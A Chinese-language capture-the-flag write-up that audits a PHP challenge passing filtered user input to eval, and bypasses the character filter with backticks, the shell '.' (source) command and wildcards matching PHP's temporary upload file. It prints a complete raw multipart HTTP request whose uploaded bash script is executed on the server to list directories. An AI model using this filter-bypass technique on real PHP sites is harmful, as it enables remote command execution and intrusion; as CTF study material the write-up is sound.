上來先程式碼審計
點選檢視程式碼
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);
}
?>
確實沒頭緒,感覺被限制死了不知道怎麼繞過,連著看了幾篇部落格,屬實是沒想到能這樣繞過
首先沒有被限制的字元: p . \ = < > ? ‘ ’
那麼能利用這些能幹什麼呢
先介紹一下一個php的機制:
在php裡面,只要我們有上傳檔案請求包傳送,那麼php就會把這個檔案存到臨時檔案裡面而在nginx裡面這個目錄一般為\tmp目錄
接下來再說說上述幾個字元能幹什麼呢
可以構造這個語句
cmd=?><?=. /??p/p?p??????
;
先解釋一下這個語句的意思
首先介紹一下這個反引號
在php裡面反引號裡面的內容會被當做shell命令被執行
如圖
. 等價於source命令,查了查解釋如下
“source” 命令用於在當前的命令執行環境中讀取並執行指定的指令碼或配置檔案。
也就是說他會將指定檔案內容當做命令執行,如下圖
< ? =相當於<?php echo 簡寫版本如圖
在php裡面臨時檔名字由php和隨機的四個或者6個字元組成,在window裡面還會加上tmp的副檔名
? 相當於萬用字元,也就是說可以是任何字元我們/??p/p?p??????要匹配的就是/tmp/php******的臨時檔案(*表示隨機的字元)
解釋清楚方法了,接下來講講思路
也就是說首先我們要上傳一個檔案,裡面包含命令,然後哦用cmd=?><?=. /??p/p?p??????
來讀取這個命令的回顯
這是我們上傳臨時檔案的包
POST /?cmd=?%3E%3C?=`.%20/??p/p?p??????`; HTTP/1.1
Host: cb44aaa3-a5ee-415e-b01a-c3a94fdc0432.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: UM_distinctid=1739f845e394-0cffbf96840b0c8-4c302d7c-144000-1739f845e3b4e2
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 245
-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#! /bin/bash
ls ../../../
-----------------------------10242300956292313528205888--
看到發的flag位置了
cat flag就行了